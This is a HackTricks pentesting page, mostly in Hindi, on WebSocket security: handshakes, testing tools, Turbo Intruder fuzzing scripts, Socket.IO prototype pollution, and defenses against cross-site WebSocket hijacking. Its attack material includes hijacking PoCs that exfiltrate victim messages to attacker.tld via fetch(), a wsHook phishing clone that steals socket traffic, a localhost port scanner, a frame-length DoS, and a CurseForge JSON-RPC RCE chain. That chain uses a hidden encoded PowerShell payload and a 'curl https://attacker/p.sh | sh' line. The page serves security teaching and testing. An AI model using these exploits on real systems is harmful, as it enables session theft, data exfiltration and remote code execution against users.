WebSocket Attacks

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

What are WebSockets

WebSocket कनेक्शन एक प्रारंभिक HTTP हैंडशेक के माध्यम से स्थापित होते हैं और इन्हें दीर्घकालिक (long-lived) के रूप में डिज़ाइन किया गया है, जो ट्रांज़ैक्शनल सिस्टम की आवश्यकता के बिना किसी भी समय द्वि-मार्ग संदेश आदान-प्रदान की अनुमति देता है। इससे WebSockets उन अनुप्रयोगों के लिए विशेष रूप से लाभकारी होते हैं जिन्हें कम लेटेंसी या सर्वर-प्रेरित संचार (low latency or server-initiated communication) की आवश्यकता होती है, जैसे कि लाइव वित्तीय डेटा स्ट्रीम।

Establishment of WebSocket Connections

WebSocket कनेक्शन स्थापित करने के बारे में विस्तृत विवरण here पर उपलब्ध है। संक्षेप में, WebSocket कनेक्शनों की शुरुआत आमतौर पर क्लाइंट-साइड JavaScript के माध्यम से की जाती है जैसा कि नीचे दिखाया गया है:

var ws = new WebSocket("wss://normal-website.com/ws")

प्रोटोकॉल wss एक WebSocket कनेक्शन को दर्शाता है जो TLS से सुरक्षित होता है, जबकि ws एक असुरक्षित कनेक्शन को दर्शाता है।

कनेक्शन स्थापित करने के दौरान, ब्राउज़र और सर्वर के बीच HTTP पर एक हैंडशेक किया जाता है। हैंडशेक प्रक्रिया में ब्राउज़र द्वारा अनुरोध भेजना और सर्वर द्वारा उत्तर देना शामिल है, जैसा कि निम्न उदाहरणों में दिखाया गया है:

ब्राउज़र हैंडशेक अनुरोध भेजता है:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

सर्वर का handshake response:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

एक बार स्थापित हो जाने पर कनेक्शन दोनों दिशाओं में संदेशों के आदान-प्रदान के लिए खुला रहता है।

WebSocket हैंडशेक के मुख्य बिंदु:

  • Connection और Upgrade headers WebSocket हैंडशेक की शुरुआत का संकेत देते हैं।
  • Sec-WebSocket-Version header वांछित WebSocket प्रोटोकॉल संस्करण दर्शाता है, आमतौर पर 13
  • एक Base64-encoded यादृच्छिक मान Sec-WebSocket-Key header में भेजा जाता है, जो सुनिश्चित करता है कि प्रत्येक हैंडशेक अद्वितीय हो, जिससे कैशिंग प्रॉक्सी से संबंधित समस्याओं को रोका जा सके। यह मान प्रमाणीकरण के लिए नहीं है बल्कि यह पुष्टि करने के लिए है कि प्रतिक्रिया किसी गलत कॉन्फ़िगर किए गए सर्वर या कैश द्वारा जनरेट नहीं की गई है।
  • सर्वर की प्रतिक्रिया में Sec-WebSocket-Accept header, Sec-WebSocket-Key का hash होता है, जो सर्वर के WebSocket कनेक्शन खोलने के इरादे को सत्यापित करता है।

ये विशेषताएँ हैंडशेक प्रक्रिया को सुरक्षित और विश्वसनीय बनाती हैं, जिससे कुशल रियल-टाइम संचार संभव होता है।

Linux console

आप websocat का उपयोग करके websocket के साथ एक raw कनेक्शन स्थापित कर सकते हैं।

websocat --insecure wss://10.10.10.10:8000 -v

या एक websocat सर्वर बनाने के लिए:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket कनेक्शन

यदि आप पाते हैं कि क्लाइंट आपके वर्तमान लोकल नेटवर्क से एक HTTP websocket से जुड़े हुए हैं, तो आप क्लाइंट और सर्वर के बीच MitM attack करने के लिए एक ARP Spoofing Attack आज़मा सकते हैं.
एक बार जब क्लाइंट आपसे connect करने की कोशिश कर रहा हो, तो आप फिर उपयोग कर सकते हैं:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets enumeration

You can use the टूल https://github.com/PalindromeLabs/STEWS to discover, fingerprint and search for known vulnerabilities in websockets automatically.

Websocket Debug tools

  • Burp Suite नियमित HTTP संचार के शैली के समान तरीके से MitM websockets communication का समर्थन करता है।
  • socketsleuth Burp Suite extension आपको Burp में Websocket communications को बेहतर तरीके से प्रबंधित करने की अनुमति देता है — जैसे कि history प्राप्त करना, interception rules सेट करना, match and replace नियमों का उपयोग करना, और Intruder तथा AutoRepeater का उपयोग करना।
  • WSSiP: Short for “WebSocket/Socket.io Proxy”, यह टूल Node.js में लिखा गया है और एक user interface प्रदान करता है ताकि आप capture, intercept, send custom messages कर सकें और क्लाइंट और सर्वर के बीच सभी WebSocket और Socket.IO communications देख सकें।
  • wsrepl एक interactive websocket REPL है जो विशेष रूप से penetration testing के लिए डिज़ाइन किया गया है। यह incoming websocket messages को observe करने और नए संदेश भेजने के लिए एक interface प्रदान करता है, साथ ही इस संचार को automating करने के लिए एक आसान-से-उपयोग framework देता है।
  • https://websocketking.com/ यह एक web to communicate है जो websockets का उपयोग करके अन्य webs के साथ संचार करने के लिए है।
  • https://hoppscotch.io/realtime/websocket अन्य प्रकार के communications/protocols के अलावा, यह अन्य webs के साथ websockets का उपयोग करके संचार करने के लिए एक web to communicate प्रदान करता है।

Decrypting Websocket

Websocket Lab

In Burp-Suite-Extender-Montoya-Course आपके पास websockets का उपयोग करके एक वेब लॉन्च करने का code है और this post में आप इसका explanation पा सकते हैं।

Websocket Fuzzing

Burp extension Backslash Powered Scanner अब WebSocket messages को भी fuzz करने की अनुमति देता है। आप इस बारे में अधिक जानकारी here पर पढ़ सकते हैं।

WebSocket Turbo Intruder (Burp extension)

PortSwigger’s WebSocket Turbo Intruder Turbo Intruder–style Python scripting और high‑rate fuzzing को WebSockets तक लाता है। इसे BApp Store या source से इंस्टॉल करें। इसमें दो components शामिल हैं:

  • Turbo Intruder: custom engines का उपयोग करके single WS endpoint पर high‑volume messaging।
  • HTTP Middleware: एक local HTTP endpoint expose करता है जो बॉडीज़ को persistent connection पर WS messages के रूप में forward करता है, ताकि कोई भी HTTP‑based scanner WS backends को probe कर सके।

Basic script pattern to fuzz a WS endpoint and filter relevant responses:

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))

def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

जब एक संदेश कई प्रतिक्रियाएँ ट्रिगर करे तो शोर कम करने के लिए @MatchRegex(...) जैसे decorators का उपयोग करें।

HTTP के पीछे WS को ब्रिज करें (HTTP Middleware)

एक persistent WS कनेक्शन को रैप करें और HTTP bodies को WS messages के रूप में आगे भेजें ताकि HTTP scanners के साथ automated testing की जा सके:

def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection

@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

फिर स्थानीय रूप से HTTP भेजें; बॉडी को WS संदेश के रूप में अग्रेषित किया जाता है:

POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16

{"message":"hi"}

यह आपको WS backends को ड्राइव करने देता है, जबकि “दिलचस्प” इवेंट्स (उदा., SQLi errors, auth bypass, command injection behavior) के लिए फ़िल्टर करता है।

Socket.IO handling (handshake, heartbeats, events)

Socket.IO WS के ऊपर अपना framing जोड़ता है। इसे अनिवार्य query parameter EIO (उदा., EIO=4) के द्वारा पहचानें। session को जीवित रखें Ping (2) और Pong (3) के साथ और बातचीत "40" से शुरू करें, फिर इस तरह के events emit करें: 42["message","hello"].

Intruder उदाहरण:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

HTTP एडाप्टर वेरिएंट:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Socket.IO के माध्यम से server‑side prototype pollution का पता लगाना

PortSwigger की safe detection technique का पालन करते हुए, Express internals को pollute करने के लिए नीचे जैसा payload भेजें:

{"__proto__":{"initialPacket":"Polluted"}}

यदि greetings या व्यवहार बदलते हैं (उदा., echo में “Polluted” शामिल है), तो आपने संभवतः server-side prototypes को polluted कर दिया है। प्रभाव reachable sinks पर निर्भर करता है; Node.js prototype pollution सेक्शन में मौजूद gadgets के साथ correlate करें। देखें:

WebSocket race conditions with Turbo Intruder

डिफ़ॉल्ट engine एक ही connection पर messages को batch करता है (उच्च throughput, races के लिए खराब)। THREADED engine का उपयोग करके कई WS connections spawn करें और payloads को parallel में भेजकर logic races (double‑spend, token reuse, state desync) ट्रिगर करें। example script से शुरू करें और config() में concurrency को tune करें।

  • Learn methodology and alternatives in Race Condition (see “RC in WebSockets”).

WebSocket DoS: malformed frame “Ping of Death”

ऐसे WS frames बनाएं जिनका header बहुत बड़े payload length का declaration करे लेकिन body न भेजें। कुछ WS servers length पर भरोसा करते हैं और buffers pre‑allocate कर लेते हैं; इसे Integer.MAX_VALUE के पास सेट करने से Out‑Of‑Memory और रिमोट unauth DoS हो सकता है। example script देखें।

CLI and debugging

  • Headless fuzzing: java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>
  • Enable the WS Logger to capture and correlate messages using internal IDs.
  • Use inc*/dec* helpers on Connection to tweak message ID handling in complex adapters.
  • Decorators like @PingPong/@Pong and helpers like isInteresting() reduce noise and keep sessions alive.

Operational safety

High‑rate WS fuzzing कई connections खोल सकता है और प्रति सेकंड हजारों messages भेज सकता है। malformed frames और high rates वास्तविक DoS का कारण बन सकते हैं। केवल जहाँ अनुमति हो वहाँ ही उपयोग करें।

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, जिसे cross-origin WebSocket hijacking भी कहा जाता है, को WebSocket handshakes को प्रभावित करने वाले Cross-Site Request Forgery (CSRF) के एक विशिष्ट मामले के रूप में पहचाना जाता है। यह vulnerability तब उत्पन्न होती है जब WebSocket handshakes केवल HTTP cookies के माध्यम से authenticate करते हैं और CSRF tokens या समान सुरक्षा उपाय मौजूद नहीं होते।

Attackers इसे ऐसे एक्सप्लॉइट कर सकते हैं कि वे एक malicious web page होस्ट करें जो vulnerable application के खिलाफ cross-site WebSocket connection शुरू कर दे। नतीजतन, यह connection victim के उस application के session का हिस्सा माना जाता है, और session handling में CSRF सुरक्षा की कमी का फायदा उठाया जा सकता है।

इस attack के काम करने के लिए आवश्यकताएँ ये हैं:

  • The websocket authentication must be cookie based
  • The cookie must be accessible from the attackers server (this usually means SameSite=None) and no Firefox Total Cookie Protection enabled in Firefox and no blocked third-party cookies in Chrome.
  • The websocket server must not check the origin of the connection (or this must be bypasseable)

Also:

  • If the authentication is based on a local connection (to localhost or to a local network) the attack will be possible as no current protection forbids it (check more info here)

Origin check disabled in Gorilla WebSocket (CheckOrigin always true)

Gorilla WebSocket servers में, CheckOrigin को हमेशा return true करने पर किसी भी Origin से handshakes स्वीकार कर लिए जाते हैं। जब WS endpoint भी lacks authentication होता है, तो victim के browser से पहुँच योग्य कोई भी पेज (Internet या intranet) socket upgrade कर सकता है और cross-site messages पढ़ना/भेजना शुरू कर सकता है।

<script>
const ws = new WebSocket("ws://victim-host:8025/api/v1/websocket");
ws.onmessage = (ev) => fetch("https://attacker.tld/steal?d=" + encodeURIComponent(ev.data), {mode: "no-cors"});
</script>

Impact: जब कोई भी Origin स्वीकार कर लिया जाता है और endpoint authentication छोड़ देता है, तो real-time exfiltration of streamed data (उदा., captured emails/notifications) बिना user credentials के संभव है।

Simple Attack

ध्यान दें कि जब establishing एक websocket connection बनती है तो cookie सर्वर को sent किया जाता है। server इसका उपयोग प्रत्येक विशिष्ट user को उसके websocket session based on the sent cookie के साथ संबंधित करने के लिए कर सकता है।

फिर, अगर for example websocket server किसी user की sends back the history of the conversation तब msg में “READY” भेजने पर, तो एक simple XSS जो कनेक्शन स्थापित करता है (पीड़ित user को authorize करने के लिए cookie sent automatically हो जाएगी) sendingREADY” बातचीत का इतिहास retrieve कर पाएगा.:

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

In this blog post https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ the attacker managed to execute arbitrary Javascript in a subdomain of the domain where the web socket communication was occurring. Because it was a subdomain, the cookie was being sent, and because the Websocket didn’t check the Origin properly, it was possible to communicate with it and steal tokens from it.

यूज़र से डेटा चुराना

जिस web application का impersonate करना चाहते हैं उसकी कॉपी बनाइए (उदा. .html फाइलें) और उस script के अंदर जहाँ websocket संचार हो रहा है, इस code को जोड़ें:

//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

अब wsHook.js फ़ाइल को https://github.com/skepticfx/wshook से डाउनलोड करें और इसे वेब फाइलों वाले फ़ोल्डर के भीतर सेव करें
वेब एप्लिकेशन को एक्सपोज़ करके और किसी उपयोगकर्ता को उससे कनेक्ट करवाने पर आप websocket के माध्यम से भेजे और प्राप्त किए गए संदेश चुरा पाएँगे:

sudo python3 -m http.server 80

CSWSH रक्षाएँ

CSWSH attack इस बात पर आधारित है कि एक उपयोगकर्ता एक दुर्भावनापूर्ण पेज से कनेक्ट करेगा जो उस वेब पेज के लिए websocket कनेक्शन खोलेगा जहाँ उपयोगकर्ता पहले से ही कनेक्टेड है और अनुरोध उपयोगकर्ता के cookies भेजने के कारण वह उपयोगकर्ता के रूप में authenticate हो जाएगा।

आजकल, इस समस्या को रोकना बहुत आसान है:

  • Websocket server checking the origin: websocket server को हमेशा यह जांचना चाहिए कि कौन से स्रोत से कोई उपयोगकर्ता कनेक्ट कर रहा है ताकि अनपेक्षित पेज्स को उसे कनेक्ट करने से रोका जा सके।
  • Authentication token: cookie पर authentication आधारित करने के बजाय, websocket कनेक्शन ऐसे token पर आधारित होना चाहिए जो सर्वर द्वारा उपयोगकर्ता के लिए जनरेट किया गया हो और attacker को पता न हो (जैसे एक anti-CSRF token)।
  • SameSite Cookie attribute: SameSite मान Lax या Strict वाली Cookies बाहरी attacker के पेज से victim server पर भेजी नहीं जाएंगी, इसलिए cookie-based authentication सफल नहीं होगा। ध्यान दें कि Chrome अब उन cookies पर डिफ़ॉल्ट रूप से Lax मान लगाता है जिनमें यह flag specified नहीं होता, जिससे डिफ़ॉल्ट सुरक्षा बेहतर होती है। हालांकि, जब cookie बनाई जाती है तो पहले 2 मिनट के लिए उसका मान None रहता है, जिससे वह उस सीमित अवधि के दौरान vulnerable हो सकता है (और उम्मीद है कि यह उपाय किसी बिंदु पर हटाया जाएगा)।
  • Firefox Total Cookie Protection: Total Cookie Protection cookies को उसी साइट तक सीमित कर देता है जहाँ वे बनाई जाती हैं। मूलतः प्रत्येक साइट की अपनी cookie storage partition होती है ताकि third parties उपयोगकर्ता के ब्राउज़िंग इतिहास को लिंक न कर सकें। यह CSWSH को अनुपयोगी बना देता है क्योंकि attacker की साइट को cookies तक पहुंच नहीं मिलेगी।
  • Chrome third-party cookies block: यह SameSite=None होने पर भी authenticated user की cookie को websocket server पर भेजे जाने से रोक सकता है।

Localhost WebSocket दुरुपयोग और ब्राउज़र पोर्ट खोज

Desktop launchers अक्सर helpers (उदा., CurseForge का CurseAgent.exe) चलाते हैं जो 127.0.0.1:<random_port> पर JSON-RPC WebSockets expose करते हैं। ब्राउज़र loopback sockets पर SOP लागू नहीं करता, इसलिए कोई भी वेब पेज handshake का प्रयास कर सकता है। यदि agent arbitrary Origin मान स्वीकार करता है और secondary authentication छोड़ देता है, तो IPC surface सीधे JavaScript से दूर से नियंत्रित हो सकता है।

एक्सपोज़ किए गए मेथड्स की गिनती

प्रोटोकॉल contract सीखने के लिए एक वैध session को capture करें। उदाहरण के लिए CurseForge ऐसे frames emit करता है जैसे {"type":"method","name":"minecraftTaskLaunchInstance","args":[{...}]} जहाँ name RPC method है और args में structured objects (GUIDs, resolution, flags, आदि) होते हैं। एक बार यह संरचना ज्ञात होने पर आप injected पेज से सीधे createModpack, minecraftGetDefaultLocation या कोई अन्य privileged task invoke कर सकते हैं।

ब्राउज़र-आधारित पोर्ट खोज

क्योंकि helper एक random high port पर bind करता है, exploit पहले WebSockets के माध्यम से localhost को brute-force करता है। Chromium-based ब्राउज़र थ्रॉटलिंग से पहले लगभग ~16k failed upgrades सहन करते हैं, जो ephemeral range को स्कैन करने के लिए पर्याप्त है; Firefox कुछ सौ विफलताओं के बाद क्रैश या फ्रीज़ हो सकता है, इसलिए practical PoCs अक्सर Chromium को लक्षित करते हैं।

Minimal browser scanner ```javascript async function findLocalWs(start = 20000, end = 36000) { for (let port = start; port <= end; port++) { await new Promise((resolve) => { const ws = new WebSocket(`ws://127.0.0.1:${port}/`); let settled = false; const finish = () => { if (!settled) { settled = true; resolve(); } }; ws.onerror = ws.onclose = finish; ws.onopen = () => { console.log(`Found candidate on ${port}`); ws.close(); finish(); }; }); } } ```

Once a connection survives the handshake and returns protocol-specific data, reuse that socket for the RPC chain.

Chaining JSON-RPC methods into RCE

The CurseForge exploit chains two unauthenticated calls:

  1. createModpack → बिना उपयोगकर्ता इंटरैक्शन के एक नया MinecraftInstanceGuid लौटाता है।
  2. minecraftTaskLaunchInstance → उस GUID को लॉन्च करता है जबकि AdditionalJavaArguments के माध्यम से arbitrary JVM flags स्वीकार करता है।

JNI/JVM डायग्नोस्टिक विकल्प तब एक turnkey RCE primitive प्रदान करते हैं। उदाहरण के लिए, metaspace को cap करके crash को मजबूर करें और command execution के लिए error hook का leverage करें:

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand ..."

On Unix targets simply swap the payload with /bin/sh -c 'curl https://attacker/p.sh | sh'. This works even when you cannot touch the application code—controlling the JVM CLI is enough.

यह “create resource → privileged launch” pattern अक्सर updaters और launchers में दिखाई देता है। जब भी method (1) कोई server-tracked identifier देता है और method (2) उस identifier के साथ कोड चलाता है या प्रोसेस बनाता है, तो जाँच करें कि क्या उपयोगकर्ता-नियंत्रित arguments इंजेक्ट किए जा सकते हैं।

Race Conditions

Race Conditions in WebSockets भी होते हैं, इस जानकारी को देखें ताकि अधिक जान सकें.

Other vulnerabilities

As Web Sockets are a mechanism to send data to server side and client side, depending on how the server and client handles the information, Web Sockets can be used to exploit several other vulnerabilities like XSS, SQLi or any other common web vuln using input of a user from a websocket.

WebSocket Smuggling

This vulnerability could allow you to bypass reverse proxies restrictions by making them believe that a websocket communication was stablished (even if it isn’t true). This could allow an attacker to access hidden endpoints. For more information check the following page:

Upgrade Header Smuggling

References

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें